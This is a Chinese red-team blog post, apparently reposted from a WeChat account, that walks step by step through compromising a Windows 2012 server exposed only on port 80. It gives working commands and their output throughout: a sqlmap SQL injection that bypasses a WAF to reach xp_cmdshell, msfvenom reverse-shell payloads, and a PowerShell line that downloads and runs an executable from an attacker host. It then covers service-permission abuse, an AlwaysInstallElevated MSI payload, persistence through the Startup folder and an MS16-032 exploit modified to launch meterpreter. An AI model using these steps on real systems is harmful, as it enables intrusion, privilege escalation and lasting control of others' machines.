红队视角之获取系统权限(一)

admin 2023年9月12日11:21:27评论16 views字数 11221阅读37分24秒阅读模式


我将从“渗透者”的角度来写这篇文章,只是为了更加接近真实环境

任务是从易受攻击的 Web 应用程序开始获取 Windows“系统”权限。获得结果的方法有多种,其中一些需要“用户交互”。

服务器仅开放端口 80 用于入站连接。

我不会过多介绍细节,但这次挑战让我有机会深入挖掘 Windows 的一些隐藏方面,我将对此进行讨论。

让我们从头开始。托管在 Win2012 服务器上的 Web 应用程序很容易受到 SQLi 注入的攻击,经过一些测试,我发现了 sqlmap 的正确参数:


sqlmap -u http://x.x.x.x/test1/default.aspx?id=1 --dbms=mssql --technique=US --tamper=randomcase --os-shell

没那么难!由于数据库的严重配置错误,存在某种类型的 WAF,可以通过修改后的篡改脚本轻松绕过。我终于得到了一个 os-shell (xp_cmdshell)!


Parameter: id (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=1;WAITFOR DELAY '0:0:5'-- Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: id=1 UNION ALL SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(120)+CHAR(113)+CHAR(84)+CHAR(80)+CHAR(85)+CHAR(111)+CHAR(89)+CHAR(89)+CHAR(79)+CHAR(122)+CHAR(71)+CHAR(119)+CHAR(99)+CHAR(109)+CHAR(78)+CHAR(89)+CHAR(116)+CHAR(87)+CHAR(89)+CHAR(120)+CHAR(80)+CHAR(72)+CHAR(69)+CHAR(115)+CHAR(104)+CHAR(84)+CHAR(120)+CHAR(65)+CHAR(98)+CHAR(107)+CHAR(111)+CHAR(116)+CHAR(84)+CHAR(73)+CHAR(73)+CHAR(70)+CHAR(112)+CHAR(74)+CHAR(90)+CHAR(76)+CHAR(69)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(106)+CHAR(113)-- OsxQ---[19:10:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)[19:10:11] [INFO] testing Microsoft SQL Server[19:10:11] [INFO] confirming Microsoft SQL Server[19:10:11] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2012[19:10:11] [INFO] testing if current user is DBA[19:10:11] [INFO] testing if xp_cmdshell extended procedure is usable[19:10:11] 2[WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique[19:10:11] [INFO] the SQL query used returns 1 entries[19:10:11] [INFO] xp_cmdshell extended procedure is usable[19:10:11] [INFO] going to use xp_cmdshell extended procedure for operating system command execution[19:10:11] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTERos-shell>


好的,第一步完成了。现在我应该从收集信息开始吧?

os-shell> whoamido you want to retrieve the command standard output? [Y/n/a] y[19:12:55] [INFO] the SQL query used returns 1 entries[19:12:55] [INFO] retrieved: srv2012\andreacommand standard output [1]:[*] srv2012andrea os-shell> net user andrea | find "Group"do you want to retrieve the command standard output? [Y/n/a] y[19:12:34] [INFO] the SQL query used returns 2 entries[19:12:34] [INFO] retrieved: Local Group Memberships *Power Users *Remote Desktop Users[19:12:34] [INFO] retrieved: Global Group memberships *Nonecommand standard output:---Local Group Memberships *Power Users *Remote Desktop UsersGlobal Group memberships *None---


帐户是本地用户并且..哎呀!我不是管理员,我没有系统权限

不用惊慌,还记得 Windows 系统上权限升级的基础知识吗?         
首先,Meterpreter shell 可以帮助我们进行调查。

但在继续之前,快速检查已安装的程序(c:program files、c:program files(x86))并没有发现任何 AV 软件……太棒了,所以我创建了一个木马程序!

#msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y            lport=4444 -f exe > r.exe


在 msfconsole 上设置监听器:

Module options (exploit/multi/handler):  Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/X64/meterpreter/reverse_tcp): Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique: seh, thread, process, noneLHOST     X.X.X.X          yes       The listen addressLPORT     4444             yes       The listen portmsf  exploit(handler) > exploit -j


现在我必须上传这个可执行文件,对吗?但如何呢?

os-shell>powershell -nop -c"(New-Object System.Net.WebClient).DownloadFile('http://your_ip/r.exe', 'c:usersandrear.exe')"     
os-shell>c:usersandrear.exe


[*] Started reverse TCP handler on x.x.x.x:5555[*] Starting the payload handler...[*] Sending stage (1189423 bytes) to y.y.y.y[*] Meterpreter session 1 opened (x.x.x.x:5555 -> y.y.y.y:49177) at 2017-02-21 18:15:53 +0100 meterpreter >

极好的!Meterpreter shell 建立了!现在我必须获取 SYSTEM,但是如何获取呢?         
首先,我尝试了经典的“权限升级”技术。

服务配置错误

这就是超经典的升级方法!首先,我必须找到一个易受攻击的服务。什么是“脆弱”服务?至少有一个对可执行文件权限较弱的服务,允许我们更改它们……

已安装服务的列表给了我一个很好的提示:

meterpreter > shellProcess 2084 created.Channel 4 created.Microsoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved. C:Windowssystem32>sc query----snip---- SERVICE_NAME: DummySvcDISPLAY_NAME: DummySvcTYPE : 10 WIN32_OWN_PROCESSSTATE : 4 RUNNING(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x0 ----snip----


嗯..这个 DummySvc 看起来很有趣,所以我收集了有关这个“虚拟服务”的其他信息:

C:Windowssystem32>sc qc dummysvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: dummysvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Program Filesdummyservicenssm.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DummySvc DEPENDENCIES : SERVICE_START_NAME : LocalSystem


服务正在以“LocalSystem”权限运行!这是 C:Program Filesdummyservice 的列表

C:Program Filesdummyservice>dir  Volume in drive C has no label. Volume Serial Number is C050-5A8D  Directory of C:Program Filesdummyservice 02/16/2023 10:26 PM .02/16/2023 10:26 PM ..08/31/2014 07:34 AM 331,264 nssm.exe02/16/2017 10:46 PM 151 readme.txt.txt02/16/2017 11:02 PM 16 service.bat3 File(s) 331,431 bytes 2 Dir(s) 15,100,686,336 bytes free C:Program Filesdummyservice>type readme.txt.txtservice.bat: this is the service will be relaunched from taskscheduler if not running pls. notify admin if service is not working, we will restart it C:Program Filesdummyservice>type service.bat@echo offpause

这些是该文件夹的权限:

C:Program Filesdummyservice>icacls *.*nssm.exe APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) readme.txt.txt APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) service.bat APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(M) BUILTINUsers:(I)(M) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) Successfully processed 3 files; Failed processing 0 files


现在我有了一个清晰的思路:

用户组有(M)修改权限

我可以修改 service.bat 并插入我的 meterpreter shell 可执行文件或覆盖nssm.exe可执行文件。最好的选择是第一个,无需担心 AutoMigrate 等问题。

鉴于该服务在 LocalSystem 上下文下运行,我将得到一个 SYSTEM shell!

出现问题,服务必须重新启动。当然,我可以按照 readme.txt.txt 中所述询问管理员,但我想更进一步。如果我可以自己启动/停止服务怎么办?通常普通用户不能这样做。

最简单的方法是尝试“net stop dummyscv”,看看会发生什么。但我想学习新的(有用的)东西,所以决定检查服务权限:

C:Program Filesdummyservice>sc sdshow dummysvcD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;S-1-5-21-938204560-2839928776-2225904511-1001)

这个命令是什么?以安全描述符定义语言 (SDDL) 输出服务的安全描述符。有点神秘,但看看最后一条记录:

(A;;RPWP;;;S-1-5-21-938204560-2839928776-2225904511-1001)


基本上,它 (A) 授权 sid S-1-5.. 标识的用户启动 (RP) 和停止 (WP) 服务。S-1-5 是谁..?

我回到 Meterpreter 并查看了我的 SID:

meterpreter > getsidServer SID: S-1-5-21-938204560-2839928776-2225904511-1001

这是我的SID!!!

因此,我准备了新的 Meterpreter reverse_shell,监听不同的端口:

#msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y lport=5555 -f exe > r2.exe


上传它并在 msfconsole 中启动侦听器。

从之前的 shell 中:

C:Program Filesdummyservice>net stop dummysvc The DummySvc service was stopped successfully. C:Program Filesdummyservice>echo c:usersandrear2.exe > service.batC:Program Filesdummyservice>net start dummysvcThe DummySvc service was started successfully. [*] Meterpreter session 2 opened(x.x.x.x:5555 -> y.y.y.y:49630) at 2017-02-21 22:45:48 +0100


我得到了一个新的 meterpreter 会话,但这次具有系统权限:

meterpreter > shellProcess 3600 created.Channel 1 created.Microsoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved. C:Program Filesdummyservice>whoamiwhoamint authoritysystem


权限维持

这也是一个经典的漏洞利用。这些设置允许非特权用户通过具有提升的 (SYSTEM) 权限的 Microsoft Windows Installer (msiexec) 安装软件包 (.msi)。这可能是一个很大的安全问题,例如:如果我安装了一个特制的 MSI 文件,该文件在安装过程中启动了 meterpreter shell,会发生什么情况?具有 SYSTEM 权限的 shell!

首先,我检查用户“Andrea”是否具有类似的权限。有两个注册表项需要验证,一个在当前用户上下文中,一个在本地计算机上下文中,如果两者都设置为“1”,我们就成功了一半......

C:>reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedHKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated REG_DWORD 0x1C:>reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedreg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated REG_DWORD 0x1


太好了,当前用户拥有“始终安装特权”权限。使用“msfvenom”,我创建了“特殊”msi 文件:

msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y lport=5555 -f msi-nouac > r2.msi


上传它(这次使用 meterpreter shell)并使用开关执行 msi:“/qn”= nogui、“/quiet”=quiet 和 /”log*v”=log verbose 到文件 i.log

C:test>msiexec /qn /quiet /log*v i.log /i r2.msiThe Windows Installer Service could not be accessed.This can occur if the Windows Installer is not correctly installed.Contact your support personnel for assistance.


但出了点问题,查看“i.log”给了我更多细节:

=== Verbose logging started: 9/11/2023 19:30:34 Build type: SHIP UNICODE 5.00.9600.00 Calling process: C:Windowssystem32msiexec.exe ===MSI (c) (D8:C8) [19:30:34:727]: Resetting cached policy valuesMSI (c) (D8:C8) [19:30:34:727]: Machine policy value 'Debug' is 0MSI (c) (D8:C8) [19:30:34:727]: ******* RunEngine: ******* Product: r2.msi ******* Action: ******* CommandLine: **********MSI (c) (D8:C8) [19:30:34:727]: Client-side and UI is none or basic: Running entire install on the server.MSI (c) (D8:C8) [19:30:34:727]: Grabbed execution mutex.MSI (c) (D8:C8) [19:30:34:727]: Failed to connect to server. Error: 0x80070005 MSI (c) (D8:C8) [19:30:34:742]: Note: 1: 2774 2: 0x800700051: 2774 2: 0x80070005MSI (c) (D8:C8) [19:30:34:742]: Failed to connect to server.MSI (c) (D8:C8) [19:30:34:742]: MainEngineThread is returning 1601=== Verbose logging stopped: 9/11/202319:30:34 ===


该问题似乎与缺乏“真实”终端或 GUI 会话有关,甚至无法直接连接到错误执行的服务器端(DCOM 权限)?

我无能为力,甚至尝试使用metasploit(always_install_privileged)进行相同的利用,但没有运气

换个思路

我使用 meterpreter 中的“ps”命令查看了正在运行的进程,发现属于登录用户“Andrea”的进程“explorer.exe”。鉴于这次与真正的 GUI 相关联,这可能是一个很好的迁移候选者。

1912  2816  explorer.exe       x64   2        SRV2012andrea  C:WindowsExplorer.EXE


这应该是一个有效的句柄!我很快迁移到进程1912:

meterpreter > migrate 1912[*] Migrating from 2780 to 1912...[*] Migration completed successfully.


重新启动!获得系统权限!

[*] Meterpreter session 8 opened (x.x.x.x:5555 -> y.y.y.y:49271) at ..meterpreter > getuidServer username: NT AUTHORITYSYSTEMmeterpreter > shellProcess 2300 created.Channel 1 created.Microsoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved. C:Windowssystem32>whoamiwhoamint authoritysystem


但是..如果用户没有登录怎么办?最后的机会:

启动 msi 自动将其放置在用户的启动菜单中并等待用户登录...

如何?更简单:

c:UsersandreaAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup>echo msiexec /qn /quiet /i c:usersandrear2.msi > t.bat


所以我只是问管理员用户 Andrea 是否可以登录..然后再次.. SYSTEM shell

MS16-032 漏洞利用

您可能听说过m16-032漏洞(又名辅助登录特权),该漏洞影响从 Windows 2008 到 Windows 10 的 Windows 系统,并允许权限升级到 SYSTEM!

首先我检查系统是否容易受到攻击。

C:Windowssystem32>wmic qfe list | find "3139914"


空响应...补丁未安装,太好了!

接下来,我尝试了专用的metasploit模块(exploit/windows/local/ms16_032_secondary_logon_handle_privesc),但似乎不起作用,我得到的只是;

[*] Exploit completed, but no session was created.

所以我尝试了“手动”方式,下载了ms16-032.ps1并做了一些更改。我必须调用我的 meterpreter shell,而不是调用 cmd.exe ,否则它将没有用......

在“main”函数中我更改了参数:

# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", #0x00000002, "C:WindowsSystem32cmd.exe", "", 0x00000002, "C:usersandrear2.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo)


之后,上传 poweshell 脚本 (m.ps1) 并从我之前的 shell 执行它:

c:usersandreapowershell -windowstyle hidden -executionpolicy bypass -file c:usersandream.ps1


在我的 msfconsole 中,出现误导性错误消息:

[-] Errno::ECONNRESET Connection reset by peer - SSL_accept


嗯..可能与同样的问题有关,缺少终端/窗口会话处理程序?

我再次尝试了相同的解决方案:用户 Andrea 已登录,因此我迁移到他的 explorer.exe 进程,执行 .ps1 脚本并再次返回 SYSTEM shell!

msf exploit(handler) > sessions -i 7[*] Starting interaction with 7... meterpreter > getuidServer username: NT AUTHORITYSYSTEMmeterpreter >


如前所述,作为替代方案,我可以将脚本放置在 Startup 文件夹中,等待用户登录并获取 SYSTEM shell。

c:UsersandreaAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup>echo powershell -windowstyle hidden -executionpolicy bypass -file c:usersandream.ps1 > t.bat


到目前为止,这些是我找到的解决方案..了解如何从 meterpreter shell 生成有效的终端会话/GUI 处理程序,模拟登录用户会很有趣?!

就这样,下一集讲如何使用白银票据维持权限。

原文始发于微信公众号(红队笔记录):红队视角之获取系统权限(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月12日11:21:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队视角之获取系统权限(一)https://cn-sec.com/archives/2028633.html

发表评论

匿名网友 填写信息